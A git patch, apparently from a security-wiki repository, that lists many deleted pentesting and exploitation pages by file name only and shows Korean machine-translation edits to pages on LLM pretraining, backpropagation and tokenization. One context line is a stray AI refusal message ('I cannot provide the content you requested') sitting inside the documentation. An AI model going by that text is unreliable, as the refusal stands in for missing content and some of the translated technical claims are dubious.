From d08e6028918d5b3a7c0395ff41366973c7e8d220 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 8 Jul 2025 13:06:13 +0000 Subject: [PATCH] Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/ --- src/1911-pentesting-fox.md | 29 - src/6881-udp-pentesting-bittorrent.md | 3 - .../0.-basic-llm-concepts.md | 32 +- src/AI/AI-llm-architecture/1.-tokenizing.md | 55 +- .../AI-llm-architecture/2.-data-sampling.md | 21 +- .../3.-token-embeddings.md | 25 +- .../4.-attention-mechanisms.md | 31 +- .../5.-llm-architecture.md | 33 +- .../6.-pre-training-and-loading-models.md | 67 ++- .../7.0.-lora-improvements-in-fine-tuning.md | 10 +- .../7.1.-fine-tuning-for-classification.md | 20 +- ...7.2.-fine-tuning-to-follow-instructions.md | 24 +- src/AI/AI-llm-architecture/README.md | 14 +- src/SUMMARY.md | 30 +- src/android-forensics.md | 27 - src/backdoors/icmpsh.md | 25 - src/backdoors/salseo.md | 158 ----- .../arbitrary-write-2-exec/README.md | 4 +- src/binary-exploitation/ios-exploiting.md | 81 +-- src/binary-exploitation/libc-heap/README.md | 67 ++- src/burp-suite.md | 19 - .../cryptographic-algorithms/README.md | 84 ++- src/cryptography/certificates.md | 157 ----- .../cipher-block-chaining-cbc-mac-priv.md | 55 -- src/cryptography/crypto-ctfs-tricks.md | 271 --------- src/cryptography/electronic-code-book-ecb.md | 68 --- .../hash-length-extension-attack.md | 38 -- src/cryptography/padding-oracle-priv.md | 102 ---- src/cryptography/rc4-encrypt-and-decrypt.md | 15 - src/emails-vulns.md | 9 - .../linux-exploiting-basic-esp/README.md | 542 ------------------ .../linux-exploiting-basic-esp/fusion.md | 60 -- src/exploiting/tools/README.md | 210 ------- src/exploiting/tools/pwntools.md | 146 ----- ...windows-exploiting-basic-guide-oscp-lvl.md | 237 -------- .../basic-forensic-methodology/README.md | 82 --- .../anti-forensic-techniques.md | 151 ----- .../docker-forensics.md | 96 ---- .../file-integrity-monitoring.md | 26 - .../linux-forensics.md | 370 ------------ .../malware-analysis.md | 154 ----- .../memory-dump-analysis/README.md | 37 -- .../partitions-file-systems-carving/README.md | 234 -------- .../file-data-carving-recovery-tools.md | 87 --- .../file-data-carving-tools.md | 64 --- .../pcap-inspection/README.md | 212 ------- .../usb-keyboard-pcap-analysis.md | 14 - .../pcap-inspection/usb-keystrokes.md | 17 - .../pcap-inspection/wifi-pcap-analysis.md | 39 -- .../.pyc.md | 201 ------- .../README.md | 41 -- .../browser-artifacts.md | 162 ------ .../desofuscation-vbs-cscript.exe.md | 42 -- .../local-cloud-storage.md | 95 --- .../office-file-analysis.md | 18 - .../pdf-file-analysis.md | 20 - .../png-tricks.md | 9 - .../video-and-audio-file-analysis.md | 17 - .../zips-tricks.md | 21 - .../windows-forensics/README.md | 497 ---------------- .../interesting-windows-registry-keys.md | 101 ---- .../windows-forensics/windows-processes.md | 106 ---- .../windows-forensics/README.md | 119 ++-- .../interesting-windows-registry-keys.md | 16 +- .../threat-modeling.md | 25 +- src/images/cyberhelmets-logo.png | Bin 16067 -> 16315 bytes src/interesting-http.md | 35 -- .../useful-linux-commands/README.md | 296 ---------- .../bypass-bash-restrictions.md | 319 ----------- .../privilege-escalation/exploiting-yum.md | 23 - .../interesting-groups-linux-pe.md | 140 ----- .../macos-function-hooking.md | 338 ----------- src/misc/references.md | 95 --- .../exploiting-content-providers.md | 22 +- .../623-udp-ipmi.md | 27 +- .../8086-pentesting-influxdb.md | 19 +- .../9001-pentesting-hsqldb.md | 30 +- .../pentesting-postgresql.md | 133 +++-- .../pentesting-smb.md | 532 ----------------- .../pentesting-web/angular.md | 68 ++- .../pentesting-web/django.md | 10 +- .../pentesting-web/gwt-google-web-toolkit.md | 1 - .../pentesting-web/nodejs-express.md | 10 +- src/online-platforms-with-api.md | 9 - src/other-web-tricks.md | 41 -- src/pentesting-dns.md | 9 - src/pentesting-web/ldap-injection.md | 12 +- src/pentesting-web/parameter-pollution.md | 21 +- .../postmessage-vulnerabilities/README.md | 50 +- src/pentesting-web/rsql-injection.md | 36 +- src/pentesting-web/saml-attacks/README.md | 54 +- src/pentesting-web/sql-injection/sqlmap.md | 114 ++-- .../xss-cross-site-scripting/README.md | 136 ++--- .../debugging-client-side-js.md | 8 +- .../escaping-from-gui-applications/README.md | 276 --------- .../firmware-analysis/README.md | 240 -------- .../firmware-analysis/bootloader-testing.md | 52 -- .../firmware-analysis/firmware-integrity.md | 35 -- src/physical-attacks/physical-attacks.md | 57 -- src/post-exploitation.md | 16 - src/radio-hacking/README.md | 1 - .../low-power-wide-area-network.md | 16 - .../pentesting-ble-bluetooth-low-energy.md | 65 --- src/radio-hacking/pentesting-rfid.md | 99 ---- .../arbitrary-write-2-exec/README.md | 1 - .../aw2exec-__malloc_hook.md | 25 - .../arbitrary-write-2-exec/aw2exec-got-plt.md | 64 --- .../aws2exec-.dtors-and-.fini_array.md | 41 -- .../README.md | 29 - .../aslr/README.md | 157 ----- .../aslr/ret2plt.md | 78 --- .../no-exec-nx.md | 16 - .../pie/README.md | 32 -- .../pie/bypassing-canary-and-pie.md | 84 --- .../relro.md | 31 - .../stack-canaries/README.md | 70 --- .../bf-forked-stack-canaries.md | 218 ------- .../stack-canaries/print-stack-canary.md | 28 - .../common-exploiting-problems.md | 36 -- .../linux-exploiting-basic-esp/elf-tricks.md | 382 ------------ .../format-strings/README.md | 150 ----- .../format-strings/format-strings-template.md | 140 ----- .../linux-exploiting-basic-esp/one-gadget.md | 20 - .../stack-overflow/README.md | 89 --- .../stack-overflow/pointer-redirecting.md | 29 - .../stack-overflow/ret2csu.md | 76 --- .../stack-overflow/ret2dlresolve.md | 65 --- .../stack-overflow/ret2esp-ret2reg.md | 62 -- .../stack-overflow/ret2lib/README.md | 129 ----- .../rop-leaking-libc-address/README.md | 273 --------- .../rop-leaking-libc-template.md | 211 ------- .../stack-overflow/ret2ret.md | 33 -- .../stack-overflow/ret2win.md | 91 --- .../rop-return-oriented-programing.md | 176 ------ .../stack-overflow/rop-syscall-execv.md | 185 ------ .../srop-sigreturn-oriented-programming.md | 62 -- .../stack-pivoting-ebp2ret-ebp-chaining.md | 178 ------ .../stack-overflow/stack-shellcode.md | 89 --- .../cryptographic-algorithms/README.md | 90 ++- .../unpacking-binaries.md | 23 - src/reversing/reversing-tools/blobrunner.md | 207 ------- ...itive-information-disclosure-from-a-web.md | 13 - src/stego/esoteric-languages.md | 65 --- src/stego/stego-tricks.md | 194 ------- src/todo/6881-udp-pentesting-bittorrent.md | 3 - .../fault_injection_attacks.md | 8 +- .../hardware-hacking/side_channel_analysis.md | 6 +- .../README.md | 10 +- .../modbus.md | 32 +- src/todo/investment-terms.md | 42 +- src/todo/pentesting-dns.md | 9 - src/todo/radio-hacking/README.md | 2 + .../radio-hacking/fissure-the-rf-framework.md | 42 +- src/todo/references.md | 95 --- src/todo/rust-basics.md | 20 +- src/todo/test-llms.md | 17 +- src/todo/tr-069.md | 1 - src/windows-hardening/cobalt-strike.md | 150 ++--- .../credentials-protections.md | 36 +- .../named-pipe-client-impersonation.md | 2 - .../sedebug-+-seimpersonate-copy-token.md | 6 +- .../uac-user-account-control.md | 190 ------ theme/ht_searcher.js | 13 +- 163 files changed, 1050 insertions(+), 12863 deletions(-) delete mode 100644 src/1911-pentesting-fox.md delete mode 100644 src/6881-udp-pentesting-bittorrent.md delete mode 100644 src/android-forensics.md delete mode 100644 src/backdoors/icmpsh.md delete mode 100644 src/backdoors/salseo.md delete mode 100644 src/burp-suite.md delete mode 100644 src/cryptography/certificates.md delete mode 100644 src/cryptography/cipher-block-chaining-cbc-mac-priv.md delete mode 100644 src/cryptography/crypto-ctfs-tricks.md delete mode 100644 src/cryptography/electronic-code-book-ecb.md delete mode 100644 src/cryptography/hash-length-extension-attack.md delete mode 100644 src/cryptography/padding-oracle-priv.md delete mode 100644 src/cryptography/rc4-encrypt-and-decrypt.md delete mode 100644 src/emails-vulns.md delete mode 100644 src/exploiting/linux-exploiting-basic-esp/README.md delete mode 100644 src/exploiting/linux-exploiting-basic-esp/fusion.md delete mode 100644 src/exploiting/tools/README.md delete mode 100644 src/exploiting/tools/pwntools.md delete mode 100644 src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md delete mode 100644 src/forensics/basic-forensic-methodology/README.md delete mode 100644 src/forensics/basic-forensic-methodology/anti-forensic-techniques.md delete mode 100644 src/forensics/basic-forensic-methodology/docker-forensics.md delete mode 100644 src/forensics/basic-forensic-methodology/file-integrity-monitoring.md delete mode 100644 src/forensics/basic-forensic-methodology/linux-forensics.md delete mode 100644 src/forensics/basic-forensic-methodology/malware-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md delete mode 100644 src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md delete mode 100644 src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md delete mode 100644 src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md delete mode 100644 src/forensics/basic-forensic-methodology/pcap-inspection/README.md delete mode 100644 src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md delete mode 100644 src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md delete mode 100644 src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md delete mode 100644 src/forensics/basic-forensic-methodology/windows-forensics/README.md delete mode 100644 src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md delete mode 100644 src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md delete mode 100644 src/interesting-http.md delete mode 100644 src/linux-hardening/useful-linux-commands/README.md delete mode 100644 src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md delete mode 100644 src/linux-unix/privilege-escalation/exploiting-yum.md delete mode 100644 src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md delete mode 100644 src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md delete mode 100644 src/misc/references.md delete mode 100644 src/network-services-pentesting/pentesting-smb.md delete mode 100644 src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md delete mode 100644 src/online-platforms-with-api.md delete mode 100644 src/other-web-tricks.md delete mode 100644 src/pentesting-dns.md delete mode 100644 src/physical-attacks/escaping-from-gui-applications/README.md delete mode 100644 src/physical-attacks/firmware-analysis/README.md delete mode 100644 src/physical-attacks/firmware-analysis/bootloader-testing.md delete mode 100644 src/physical-attacks/firmware-analysis/firmware-integrity.md delete mode 100644 src/physical-attacks/physical-attacks.md delete mode 100644 src/post-exploitation.md delete mode 100644 src/radio-hacking/README.md delete mode 100644 src/radio-hacking/low-power-wide-area-network.md delete mode 100644 src/radio-hacking/pentesting-ble-bluetooth-low-energy.md delete mode 100644 src/radio-hacking/pentesting-rfid.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md delete mode 100644 src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md delete mode 100644 src/reversing/cryptographic-algorithms/unpacking-binaries.md delete mode 100644 src/reversing/reversing-tools/blobrunner.md delete mode 100644 src/stealing-sensitive-information-disclosure-from-a-web.md delete mode 100644 src/stego/esoteric-languages.md delete mode 100644 src/stego/stego-tricks.md delete mode 100644 src/todo/6881-udp-pentesting-bittorrent.md delete mode 100644 src/todo/pentesting-dns.md delete mode 100644 src/todo/references.md delete mode 100644 src/todo/tr-069.md delete mode 100644 src/windows-hardening/windows-security-controls/uac-user-account-control.md diff --git a/src/1911-pentesting-fox.md b/src/1911-pentesting-fox.md deleted file mode 100644 index 3c7f407c2..000000000 --- a/src/1911-pentesting-fox.md +++ /dev/null @@ -1,29 +0,0 @@ -# 1911 - Pentesting fox - -{{#include ./banners/hacktricks-training.md}} - -그리고 더 많은 서비스: - -ubiquiti-discover udp "Ubiquiti Networks Device" - -dht udp "DHT Nodes" - -5060 udp sip "SIP/" - -![]() - -![]() - -InfluxDB - -![]() - -![]() - -![]() - -![]() - -![]() - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/6881-udp-pentesting-bittorrent.md b/src/6881-udp-pentesting-bittorrent.md deleted file mode 100644 index 070c6aef8..000000000 --- a/src/6881-udp-pentesting-bittorrent.md +++ /dev/null @@ -1,3 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md index ef729d112..68a43006d 100644 --- a/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md +++ b/src/AI/AI-llm-architecture/0.-basic-llm-concepts.md @@ -1,18 +1,20 @@ # 0. Basic LLM Concepts +{{#include /banners/hacktricks-training.md}} + ## Pretraining -Pretraining은 대규모 언어 모델(LLM)을 개발하는 데 있어 기초적인 단계로, 모델이 방대한 양의 다양한 텍스트 데이터에 노출되는 과정입니다. 이 단계에서 **LLM은 언어의 기본 구조, 패턴 및 뉘앙스를 학습합니다**, 여기에는 문법, 어휘, 구문 및 맥락적 관계가 포함됩니다. 이 방대한 데이터를 처리함으로써 모델은 언어와 일반 세계 지식에 대한 폭넓은 이해를 얻게 됩니다. 이 포괄적인 기반은 LLM이 일관되고 맥락에 적합한 텍스트를 생성할 수 있게 합니다. 이후, 이 사전 훈련된 모델은 특정 작업이나 도메인에 맞게 능력을 조정하기 위해 전문 데이터셋에서 추가 훈련을 받는 미세 조정 과정을 거칠 수 있으며, 이는 목표 애플리케이션에서의 성능과 관련성을 향상시킵니다. +Pretraining은 대규모 언어 모델(LLM)을 개발하는 데 있어 기초적인 단계로, 모델이 방대한 양의 다양한 텍스트 데이터에 노출되는 과정입니다. 이 단계에서 **LLM은 언어의 기본 구조, 패턴 및 뉘앙스를 학습합니다**, 여기에는 문법, 어휘, 구문 및 맥락적 관계가 포함됩니다. 이 방대한 데이터를 처리함으로써 모델은 언어와 일반 세계 지식에 대한 폭넓은 이해를 얻게 됩니다. 이 포괄적인 기반은 LLM이 일관되고 맥락적으로 관련된 텍스트를 생성할 수 있게 합니다. 이후, 이 사전 훈련된 모델은 특정 작업이나 도메인에 맞게 기능을 조정하기 위해 전문 데이터셋에서 추가 훈련을 받는 미세 조정 과정을 거칠 수 있으며, 이는 목표 애플리케이션에서의 성능과 관련성을 향상시킵니다. ## Main LLM components 보통 LLM은 훈련에 사용된 구성으로 특징지어집니다. LLM 훈련 시 일반적인 구성 요소는 다음과 같습니다: -- **Parameters**: Parameters는 신경망에서 **학습 가능한 가중치와 편향**입니다. 이는 훈련 과정에서 손실 함수를 최소화하고 모델의 작업 성능을 향상시키기 위해 조정되는 숫자입니다. LLM은 보통 수백만 개의 매개변수를 사용합니다. +- **Parameters**: Parameters는 신경망의 **학습 가능한 가중치와 편향**입니다. 이는 훈련 과정에서 손실 함수를 최소화하고 모델의 작업 성능을 향상시키기 위해 조정되는 숫자입니다. LLM은 보통 수백만 개의 매개변수를 사용합니다. - **Context Length**: 이는 LLM을 사전 훈련하는 데 사용되는 각 문장의 최대 길이입니다. - **Embedding Dimension**: 각 토큰 또는 단어를 나타내는 데 사용되는 벡터의 크기입니다. LLM은 보통 수십억 개의 차원을 사용합니다. - **Hidden Dimension**: 신경망의 숨겨진 층의 크기입니다. -- **Number of Layers (Depth)**: 모델이 가진 층의 수입니다. LLM은 보통 수십 개의 층을 사용합니다. +- **Number of Layers (Depth)**: 모델의 층 수입니다. LLM은 보통 수십 개의 층을 사용합니다. - **Number of Attention Heads**: 변환기 모델에서 각 층에 사용되는 개별 주의 메커니즘의 수입니다. LLM은 보통 수십 개의 헤드를 사용합니다. - **Dropout**: Dropout은 훈련 중 제거되는 데이터의 비율(확률이 0으로 변함)과 같은 것으로, **과적합을 방지하기 위해** 사용됩니다. LLM은 보통 0-20% 사이를 사용합니다. @@ -195,23 +197,23 @@ I'm sorry, but I cannot provide the content you requested. cssCopy codeGradient w.r.t w: tensor([-0.0898]) Gradient w.r.t b: tensor([-0.0817]) ``` -## Backpropagation in Bigger Neural Networks +## Bigger Neural Networks에서의 Backpropagation ### **1. 다층 네트워크로 확장하기** -여러 층을 가진 더 큰 신경망에서는 매개변수와 연산의 수가 증가함에 따라 기울기를 계산하는 과정이 더 복잡해집니다. 그러나 기본 원리는 동일하게 유지됩니다: +여러 층을 가진 더 큰 신경망에서는 매개변수와 연산의 수가 증가함에 따라 기울기를 계산하는 과정이 더 복잡해집니다. 그러나 기본 원리는 동일합니다: -- **순전파:** 입력을 각 층을 통해 전달하여 네트워크의 출력을 계산합니다. -- **손실 계산:** 네트워크의 출력과 목표 레이블을 사용하여 손실 함수를 평가합니다. -- **역전파 (Backpropagation):** 출력층에서 입력층으로 체인 룰을 재귀적으로 적용하여 네트워크의 각 매개변수에 대한 손실의 기울기를 계산합니다. +- **Forward Pass:** 입력을 각 층을 통해 전달하여 네트워크의 출력을 계산합니다. +- **Compute Loss:** 네트워크의 출력과 목표 레이블을 사용하여 손실 함수를 평가합니다. +- **Backward Pass (Backpropagation):** 출력층에서 입력층으로 체인 룰을 재귀적으로 적용하여 네트워크의 각 매개변수에 대한 손실의 기울기를 계산합니다. -### **2. 역전파 알고리즘** +### **2. Backpropagation 알고리즘** -- **1단계:** 네트워크 매개변수(가중치 및 편향)를 초기화합니다. -- **2단계:** 각 훈련 예제에 대해 순전파를 수행하여 출력을 계산합니다. -- **3단계:** 손실을 계산합니다. -- **4단계:** 체인 룰을 사용하여 각 매개변수에 대한 손실의 기울기를 계산합니다. -- **5단계:** 최적화 알고리즘(예: 경량 하강법)을 사용하여 매개변수를 업데이트합니다. +- **Step 1:** 네트워크 매개변수(가중치 및 편향)를 초기화합니다. +- **Step 2:** 각 훈련 예제에 대해 출력을 계산하기 위해 forward pass를 수행합니다. +- **Step 3:** 손실을 계산합니다. +- **Step 4:** 체인 룰을 사용하여 각 매개변수에 대한 손실의 기울기를 계산합니다. +- **Step 5:** 최적화 알고리즘(예: 경량 하강법)을 사용하여 매개변수를 업데이트합니다. ### **3. 수학적 표현** @@ -283,3 +285,5 @@ print(f"Gradient of {name}: {param.grad}") - **Efficiency:** 중간 결과를 재사용하여 중복 계산을 피합니다. - **Accuracy:** 기계 정밀도까지 정확한 도함수를 제공합니다. - **Ease of Use:** 도함수의 수동 계산을 제거합니다. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/1.-tokenizing.md b/src/AI/AI-llm-architecture/1.-tokenizing.md index 5d5f93a9e..ff0b3ecf3 100644 --- a/src/AI/AI-llm-architecture/1.-tokenizing.md +++ b/src/AI/AI-llm-architecture/1.-tokenizing.md @@ -1,27 +1,29 @@ -# 1. 토큰화 +# 1. Tokenizing -## 토큰화 +{{#include /banners/hacktricks-training.md}} -**토큰화**는 텍스트와 같은 데이터를 더 작고 관리 가능한 조각인 _토큰_으로 나누는 과정입니다. 각 토큰은 고유한 숫자 식별자(ID)가 할당됩니다. 이는 기계 학습 모델, 특히 자연어 처리(NLP)를 위한 텍스트 준비의 기본 단계입니다. +## Tokenizing + +**Tokenizing**는 텍스트와 같은 데이터를 더 작고 관리 가능한 조각인 _tokens_으로 나누는 과정입니다. 각 토큰은 고유한 숫자 식별자(ID)가 할당됩니다. 이는 기계 학습 모델, 특히 자연어 처리(NLP)를 위한 텍스트 준비의 기본 단계입니다. > [!TIP] -> 이 초기 단계의 목표는 매우 간단합니다: **입력을 의미 있는 방식으로 토큰(아이디)으로 나누기**입니다. +> 이 초기 단계의 목표는 매우 간단합니다: **입력을 의미 있는 방식으로 토큰(ids)으로 나누기**입니다. -### **토큰화 작동 방식** +### **How Tokenizing Works** 1. **텍스트 분할:** - **기본 토크나이저:** 간단한 토크나이저는 텍스트를 개별 단어와 구두점으로 나누고 공백을 제거할 수 있습니다. -- _예시:_\ +- _예:_\ 텍스트: `"Hello, world!"`\ 토큰: `["Hello", ",", "world", "!"]` 2. **어휘 생성:** - 토큰을 숫자 ID로 변환하기 위해 **어휘**가 생성됩니다. 이 어휘는 모든 고유 토큰(단어 및 기호)을 나열하고 각 토큰에 특정 ID를 할당합니다. - **특수 토큰:** 다양한 시나리오를 처리하기 위해 어휘에 추가된 특수 기호입니다: -- `[BOS]` (시퀀스 시작): 텍스트의 시작을 나타냅니다. -- `[EOS]` (시퀀스 끝): 텍스트의 끝을 나타냅니다. +- `[BOS]` (Sequence의 시작): 텍스트의 시작을 나타냅니다. +- `[EOS]` (Sequence의 끝): 텍스트의 끝을 나타냅니다. - `[PAD]` (패딩): 배치의 모든 시퀀스를 동일한 길이로 만들기 위해 사용됩니다. - `[UNK]` (알 수 없음): 어휘에 없는 토큰을 나타냅니다. -- _예시:_\ +- _예:_\ `"Hello"`가 ID `64`에 할당되고, `","`가 `455`, `"world"`가 `78`, `"!"`가 `467`이라면:\ `"Hello, world!"` → `[64, 455, 78, 467]` - **알 수 없는 단어 처리:**\ @@ -29,21 +31,21 @@ `"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\ _(여기서 `[UNK]`의 ID는 `987`라고 가정합니다)_ -### **고급 토큰화 방법** +### **Advanced Tokenizing Methods** -기본 토크나이저는 간단한 텍스트에 잘 작동하지만, 특히 큰 어휘와 새로운 또는 희귀한 단어를 처리하는 데 한계가 있습니다. 고급 토큰화 방법은 텍스트를 더 작은 하위 단위로 나누거나 토큰화 프로세스를 최적화하여 이러한 문제를 해결합니다. +기본 토크나이저는 간단한 텍스트에 잘 작동하지만, 특히 큰 어휘와 새로운 또는 희귀한 단어를 처리하는 데 한계가 있습니다. 고급 토크나이징 방법은 텍스트를 더 작은 하위 단위로 나누거나 토크나이징 프로세스를 최적화하여 이러한 문제를 해결합니다. -1. **바이트 쌍 인코딩(BPE):** +1. **Byte Pair Encoding (BPE):** - **목적:** 어휘의 크기를 줄이고 희귀하거나 알 수 없는 단어를 자주 발생하는 바이트 쌍으로 나누어 처리합니다. - **작동 방식:** - 개별 문자를 토큰으로 시작합니다. - 가장 빈번한 토큰 쌍을 반복적으로 병합하여 단일 토큰으로 만듭니다. -- 더 이상 빈번한 쌍을 병합할 수 없을 때까지 계속합니다. +- 더 이상 병합할 수 있는 빈번한 쌍이 없을 때까지 계속합니다. - **장점:** -- 모든 단어가 기존 하위 단어 토큰을 결합하여 표현될 수 있으므로 `[UNK]` 토큰이 필요하지 않습니다. +- 모든 단어가 기존의 하위 단어 토큰을 결합하여 표현될 수 있으므로 `[UNK]` 토큰이 필요하지 않습니다. - 더 효율적이고 유연한 어휘입니다. -- _예시:_\ -`"playing"`은 `"play"`와 `"ing"`가 빈번한 하위 단어라면 `["play", "ing"]`로 토큰화될 수 있습니다. +- _예:_\ +`"playing"`은 `"play"`와 `"ing"`가 빈번한 하위 단어라면 `["play", "ing"]`로 토크나이즈될 수 있습니다. 2. **WordPiece:** - **사용 모델:** BERT와 같은 모델. - **목적:** BPE와 유사하게, 알 수 없는 단어를 처리하고 어휘 크기를 줄이기 위해 단어를 하위 단위로 나눕니다. @@ -54,24 +56,24 @@ _(여기서 `[UNK]`의 ID는 `987`라고 가정합니다)_ - **장점:** - 관리 가능한 어휘 크기와 단어를 효과적으로 표현하는 것 사이의 균형을 유지합니다. - 희귀하고 복합적인 단어를 효율적으로 처리합니다. -- _예시:_\ -`"unhappiness"`는 어휘에 따라 `["un", "happiness"]` 또는 `["un", "happy", "ness"]`로 토큰화될 수 있습니다. -3. **유니그램 언어 모델:** +- _예:_\ +`"unhappiness"`는 어휘에 따라 `["un", "happiness"]` 또는 `["un", "happy", "ness"]`로 토크나이즈될 수 있습니다. +3. **Unigram Language Model:** - **사용 모델:** SentencePiece와 같은 모델. - **목적:** 가장 가능성이 높은 하위 단어 토큰 집합을 결정하기 위해 확률 모델을 사용합니다. - **작동 방식:** - 잠재적인 토큰의 큰 집합으로 시작합니다. - 훈련 데이터의 모델 확률을 가장 적게 개선하는 토큰을 반복적으로 제거합니다. -- 각 단어가 가장 확률이 높은 하위 단위로 표현되는 어휘를 최종화합니다. +- 각 단어가 가장 가능성이 높은 하위 단위로 표현되는 어휘를 최종화합니다. - **장점:** - 유연하며 언어를 더 자연스럽게 모델링할 수 있습니다. -- 종종 더 효율적이고 간결한 토큰화를 제공합니다. -- _예시:_\ -`"internationalization"`은 `["international", "ization"]`과 같은 더 작고 의미 있는 하위 단어로 토큰화될 수 있습니다. +- 종종 더 효율적이고 간결한 토크나이징 결과를 가져옵니다. +- _예:_\ +`"internationalization"`은 `["international", "ization"]`과 같은 더 작고 의미 있는 하위 단어로 토크나이즈될 수 있습니다. -## 코드 예시 +## Code Example -[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb)에서 코드 예시를 통해 이를 더 잘 이해해 봅시다. +Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): ```python # Download a text to pre-train the 